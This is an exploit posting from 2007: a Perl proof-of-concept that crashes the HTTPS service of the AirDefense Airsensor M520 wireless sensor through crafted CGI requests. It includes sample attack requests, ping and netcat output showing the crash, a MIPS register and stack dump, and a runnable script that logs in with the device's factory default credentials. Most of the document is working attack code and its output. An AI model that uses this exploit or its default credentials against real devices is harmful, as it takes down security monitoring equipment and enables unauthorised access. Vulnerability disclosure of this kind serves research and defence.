airsensor-dos.txt
Posted on 19 September 2007
#!/usr/bin/perl -w # # Airsensor M520 HTTPD Remote Preauth Denial Of Service and Buffer Overflow PoC # # The vulnerability is caused due to an unspecified error in the cgis # files filter used for configure propierties. This can be exploited by # sending a specially crafted HTTPS request (necessary authentication), # which will cause the HTTPS service on the system to crash. # # Requisites: "Use DHCP" option interface mark "No" # # Examples: # # GET https://192.168.100.100/adLog.cgi?%41%41%41 HTTP/1.1 # GET https://192.168.100.100/post.cgi?%41%41%41 HTTP/1.1 # GET https://192.168.100.100/ad.cgi?%41%41%41 HTTP/1.1 # # Pinging: # # Before: # # Reply from 192.168.100.100: bytes=32 time<1ms TTL=64 # Reply from 192.168.100.100: bytes=32 time<1ms TTL=64 # Reply from 192.168.100.100: bytes=32 time<1ms TTL=64 # # After: # # Hardware error. # Hardware error. # Hardware error. # Request timed out. # Request timed out. # Request timed out. # # C:>nc -vvn 192.168.100.100 443 # (UNKNOWN) [192.168.100.100] 443 (?): connection refused # sent 0, rcvd 0: NOTSOCK # # Buffer Overflow debug log: # # 1970-01-01 00:00:15 SYS-INFO:: AirDefense Firmware Version 4.4.1.4, Model = M520 # 1970-01-01 00:00:15 SYS-CRIT:: SENSOR EXCEPTION ERROR # 1970-01-01 00:00:15 SYS-CRIT:: SENSOR VERSION NUMBER: 4.4.1.4 # 1970-01-01 00:00:15 SYS-CRIT:: SENSOR Up Time: 00:08:51 # 1970-01-01 00:00:15 SYS-CRIT:: Time of Exception: 1970-01-01 00:08:55 # 1970-01-01 00:00:15 SYS-CRIT:: Exception ID = 10 ( Reserved Instruction) # 1970-01-01 00:00:15 SYS-CRIT:: Thread = HTTPD # 1970-01-01 00:00:15 SYS-CRIT:: MIPS Register Dump: # 1970-01-01 00:00:15 SYS-CRIT:: zero=0x00000000 at=0xfffffffe v0=0x00000000 v1=0x00000000 # 1970-01-01 00:00:16 SYS-CRIT:: a0=0x00000000 a1=0x3d000000 a2=0x00000010 a3=0x00000041 # 1970-01-01 00:00:16 SYS-CRIT:: t0=0x00000000 t1=0x0000003d t2=0x0000000b t3=0x00000000 # 1970-01-01 00:00:16 SYS-CRIT:: t4=0x802f799c t5=0xf43dd40f t6=0x0066a1a4 t7=0x4df0e494 # 1970-01-01 00:00:16 SYS-CRIT:: s0=0x802f7dbf s1=0x0000001f s2=0x802f7910 s3=0x80120000 # 1970-01-01 00:00:16 SYS-CRIT:: s4=0x80120000 s5=0x80986c30 s6=0x80120000 s7=0x80128afc # 1970-01-01 00:00:16 SYS-CRIT:: t8=0x480ec8cd t9=0x742b7136 k0=0x802f78c8 k1=0x802f7910 # 1970-01-01 00:00:16 SYS-CRIT:: gp=0x8015b070 sp=0x802f7910 fp=0x80128aec ra=0x800b2534 # 1970-01-01 00:00:16 SYS-CRIT:: Address of instruction that caused exception = 0x800b2534 # 1970-01-01 00:00:16 SYS-CRIT:: Memory address at which adress exception occured = 0x00000000 # 1970-01-01 00:00:16 SYS-CRIT:: Return address = 0x800b2534 # 1970-01-01 00:00:17 SYS-CRIT:: Status Reg = 0x1000af03 # 1970-01-01 00:00:17 SYS-CRIT:: Cache Reg = 0x00000000 # 1970-01-01 00:00:17 SYS-CRIT:: Cause Reg = 0x30000028 # 1970-01-01 00:00:17 SYS-CRIT:: Config Reg = 0x03fffbfb # 1970-01-01 00:00:17 SYS-CRIT:: Vector = 40 # 1970-01-01 00:00:17 SYS-CRIT:: Processor Version = 0x00018009 # 1970-01-01 00:00:17 SYS-CRIT:: Stack Trace Begin: "->" = return address # 1970-01-01 00:00:17 SYS-CRIT:: [802f7910]=0x802f7dbf # 1970-01-01 00:00:17 SYS-CRIT:: [802f7914]=0x00000000 # 1970-01-01 00:00:17 SYS-CRIT:: [802f7918]=0x00000000 # 1970-01-01 00:00:19 SYS-CRIT:: [802f7990]=0x80130000 # 1970-01-01 00:00:19 SYS-CRIT:: [802f7994]=0x802f7db4 # 1970-01-01 00:00:19 SYS-CRIT:: [802f7998]=0x80152e18 # 1970-01-01 00:00:19 SYS-CRIT:: [802f799c]=0x80152ed8 # 1970-01-01 00:00:19 SYS-CRIT:: [802f79a0]=0x802f7dbf # 1970-01-01 00:00:19 SYS-CRIT:: [802f79a4]=0x80986c30 # 1970-01-01 00:00:19 SYS-CRIT:: [802f79a8]=0x802f8200 # 1970-01-01 00:00:19 SYS-CRIT:: ->[802f79ac]=0x800f0450 <- return address # 1970-01-01 00:00:19 SYS-CRIT:: [802f79b0]=0x0d0a0074 # 1970-01-01 00:00:21 SYS-CRIT:: Stack Trace End: # # The vulnerability has been reported in versions Airdefense # # Firmware Version 4.3.1.1, Model = M520 # Firmware version 4.4.1.4, Model = M520 # # More information: http://www.airdefense.net # http://support.airdefense.net # # Very special credits: str0ke, Kf, rathaous, !dsr, 0dd. # # and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55, # pikah, codebreak, h3llfyr3 # # Alex Hernandez ahernandez [at] sybsecurity dot com # use strict; use LWP; use Data::Dumper; require HTTP::Request; require HTTP::Headers; my $string = "%41%41%41"; # Strings to send my $method = 'GET'; # Method "GET" or "POST" my $uri = 'https://192.168.100.100'; # Factory default IP address my $content = "/adLog.cgi?"; # Cgi's file to crash #my $content = "/ad.cgi?"; #my $content = "/post.cgi?"; #my $content = "/logout.cgi?"; my $headers = HTTP::Headers->new( 'Host:' => '192.168.100.100', 'User-Agent:' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6', 'Accept:' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5', 'Accept-Language:' => 'en-us,en;q=0.5', 'Accept-Charset:' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive:' => '300', 'Connection:' => 'keep-alive', 'Referer:' => 'https://192.168.100.100/adLog.cgi?submitButton=refresh&refresh=Refresh', 'Authorization:' => 'Basic YWRtaW46YWlyc2Vuc29y', # base64 encode admin:airsensor ); my $request = HTTP::Request->new($method, $uri, $headers, $content, $string); my $ua = LWP::UserAgent->new; my $response = $ua->request($request); print "[+] Denial of Service exploit for Airsensor M520 Final "; print "[+] Coded by: Alex Hernandez [ahernandez@sybsecurity.com] "; print "[+] We got this response from sensor: " . $response->content . " "; my $data; foreach my $pair (split('&', $response->content)) { my ($k, $v) = split('=', $pair); $data->{$k} = $v; } if ($data->{RESULT} != 0) { print "[+] Denial of Service exploit for Airsensor M520 Final "; print "[+] Coded by: Alex Hernandez[ahernandez@sybsecurity.com] "; print "[+] Use: "; print " perl -x dos_sensor.pl "; print $data->{RESPMSG} . " "; exit(0); } else { print "[+] Denial of service Exploit successed!!! "; print "[+] By Alex Hernandez[ahernandez@sybsecurity.com] "; }
